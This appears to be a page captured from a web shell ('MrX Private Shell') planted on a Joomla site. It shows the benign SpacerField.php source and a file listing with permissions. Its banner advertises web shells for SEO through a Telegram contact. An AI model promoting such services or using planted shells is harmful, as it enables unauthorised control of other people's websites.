__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Form\Field;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Form Field class for the Joomla Platform.
* Provides spacer markup to be used in form layouts.
*
* @since 1.7.0
*/
class SpacerField extends FormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Spacer';
/**
* Method to get the field input markup for a spacer.
* The spacer does not have accept input.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
return ' ';
}
/**
* Method to get the field label markup for a spacer.
* Use the label text or name from the XML element as the spacer or
* Use a hr="true" to automatically generate plain hr markup
*
* @return string The field label markup.
*
* @since 1.7.0
*/
protected function getLabel()
{
$html = [];
$class = !empty($this->class) ? ' class="' . $this->class . '"' : '';
$html[] = '<span class="spacer">';
$html[] = '<span class="before"></span>';
$html[] = '<span' . $class . '>';
if ((string) $this->element['hr'] === 'true') {
$html[] = '<hr' . $class . '>';
} else {
$label = '';
// Get the label text from the XML element, defaulting to the element name.
$text = $this->element['label'] ? (string) $this->element['label'] : (string) $this->element['name'];
$text = $this->translateLabel ? Text::_($text) : $text;
// Build the class for the label.
$class = !empty($this->description) ? 'hasPopover' : '';
$class = $this->required == true ? $class . ' required' : $class;
// Add the opening label tag and main attributes attributes.
$label .= '<label id="' . $this->id . '-lbl" class="' . $class . '"';
// If a description is specified, use it to build a tooltip.
if (!empty($this->description)) {
HTMLHelper::_('bootstrap.popover', '.hasPopover');
$label .= ' title="' . htmlspecialchars(trim($text, ':'), ENT_COMPAT, 'UTF-8') . '"';
$label .= ' data-bs-content="' . htmlspecialchars(
$this->translateDescription ? Text::_($this->description) : $this->description,
ENT_COMPAT,
'UTF-8'
) . '"';
if (Factory::getLanguage()->isRtl()) {
$label .= ' data-bs-placement="left"';
}
}
// Add the label text and closing tag.
$label .= '>' . $text . '</label>';
$html[] = $label;
}
$html[] = '</span>';
$html[] = '<span class="after"></span>';
$html[] = '</span>';
return implode('', $html);
}
/**
* Method to get the field title.
*
* @return string The field title.
*
* @since 1.7.0
*/
protected function getTitle()
{
return $this->getLabel();
}
/**
* Method to get a control group with label and input.
*
* @param array $options Options to be passed into the rendering of the field
*
* @return string A string containing the html for the control group
*
* @since 3.7.3
*/
public function renderField($options = [])
{
$options['class'] = empty($options['class']) ? 'field-spacer' : $options['class'] . ' field-spacer';
return parent::renderField($options);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| AccessiblemediaField.php | File | 5.98 KB | 0664 |
|
| AccesslevelField.php | File | 1.01 KB | 0664 |
|
| AliastagField.php | File | 2.06 KB | 0664 |
|
| AuthorField.php | File | 2.11 KB | 0664 |
|
| CachehandlerField.php | File | 1.26 KB | 0664 |
|
| CalendarField.php | File | 13.36 KB | 0664 |
|
| CaptchaField.php | File | 5.05 KB | 0664 |
|
| CategoryField.php | File | 3.39 KB | 0664 |
|
| CheckboxField.php | File | 4.1 KB | 0664 |
|
| CheckboxesField.php | File | 4.51 KB | 0664 |
|
| ChromestyleField.php | File | 6.64 KB | 0664 |
|
| ColorField.php | File | 9.72 KB | 0664 |
|
| ComboField.php | File | 1.64 KB | 0664 |
|
| ComponentlayoutField.php | File | 9.87 KB | 0664 |
|
| ComponentsField.php | File | 2.17 KB | 0664 |
|
| ContenthistoryField.php | File | 1.99 KB | 0664 |
|
| ContentlanguageField.php | File | 1.02 KB | 0664 |
|
| ContenttypeField.php | File | 2.8 KB | 0664 |
|
| DatabaseconnectionField.php | File | 2.39 KB | 0664 |
|
| EditorField.php | File | 9.04 KB | 0664 |
|
| EmailField.php | File | 1.67 KB | 0664 |
|
| FileField.php | File | 3.89 KB | 0664 |
|
| FilelistField.php | File | 6.58 KB | 0664 |
|
| FolderlistField.php | File | 6.46 KB | 0664 |
|
| FrontendlanguageField.php | File | 2.2 KB | 0664 |
|
| GroupedlistField.php | File | 5.57 KB | 0664 |
|
| HeadertagField.php | File | 1.1 KB | 0664 |
|
| HiddenField.php | File | 910 B | 0664 |
|
| ImagelistField.php | File | 1.08 KB | 0664 |
|
| IntegerField.php | File | 2.07 KB | 0664 |
|
| LanguageField.php | File | 2.58 KB | 0664 |
|
| LastvisitdaterangeField.php | File | 1.61 KB | 0664 |
|
| LimitboxField.php | File | 2.66 KB | 0664 |
|
| ListField.php | File | 8.79 KB | 0664 |
|
| MediaField.php | File | 13.35 KB | 0664 |
|
| MenuField.php | File | 3.72 KB | 0664 |
|
| MenuitemField.php | File | 7.12 KB | 0664 |
|
| MeterField.php | File | 5.79 KB | 0664 |
|
| ModalSelectField.php | File | 8.85 KB | 0664 |
|
| ModulelayoutField.php | File | 7.83 KB | 0664 |
|
| ModuleorderField.php | File | 3.88 KB | 0664 |
|
| ModulepositionField.php | File | 5.18 KB | 0664 |
|
| ModuletagField.php | File | 1.14 KB | 0664 |
|
| NoteField.php | File | 2.71 KB | 0664 |
|
| NumberField.php | File | 5.93 KB | 0664 |
|
| OrderingField.php | File | 5.56 KB | 0664 |
|
| PasswordField.php | File | 7.95 KB | 0664 |
|
| PluginsField.php | File | 5.17 KB | 0664 |
|
| PluginstatusField.php | File | 774 B | 0664 |
|
| PredefinedlistField.php | File | 3.47 KB | 0664 |
|
| RadioField.php | File | 1.28 KB | 0664 |
|
| RadiobasicField.php | File | 1.64 KB | 0664 |
|
| RangeField.php | File | 1.61 KB | 0664 |
|
| RedirectStatusField.php | File | 868 B | 0664 |
|
| RegistrationdaterangeField.php | File | 1.6 KB | 0664 |
|
| RulesField.php | File | 9.45 KB | 0664 |
|
| SchemaorgComponentSectionsField.php | File | 1.75 KB | 0664 |
|
| SessionhandlerField.php | File | 1.36 KB | 0664 |
|
| SpacerField.php | File | 3.96 KB | 0664 |
|
| SqlField.php | File | 9.25 KB | 0664 |
|
| StatusField.php | File | 859 B | 0664 |
|
| SubformField.php | File | 13.25 KB | 0664 |
|
| TagField.php | File | 9.73 KB | 0664 |
|
| TelephoneField.php | File | 1.83 KB | 0664 |
|
| TemplatestyleField.php | File | 5.75 KB | 0664 |
|
| TextField.php | File | 8.98 KB | 0664 |
|
| TextareaField.php | File | 5.26 KB | 0664 |
|
| TimeField.php | File | 4.3 KB | 0664 |
|
| TimezoneField.php | File | 4.46 KB | 0664 |
|
| TransitionField.php | File | 5.34 KB | 0664 |
|
| UrlField.php | File | 2.03 KB | 0664 |
|
| UserField.php | File | 4.59 KB | 0664 |
|
| UseractiveField.php | File | 1.26 KB | 0664 |
|
| UsergrouplistField.php | File | 2.92 KB | 0664 |
|
| UserstateField.php | File | 800 B | 0664 |
|
| WorkflowComponentSectionsField.php | File | 1.72 KB | 0664 |
|
| WorkflowconditionField.php | File | 3.78 KB | 0664 |
|
| WorkflowstageField.php | File | 4.92 KB | 0664 |
|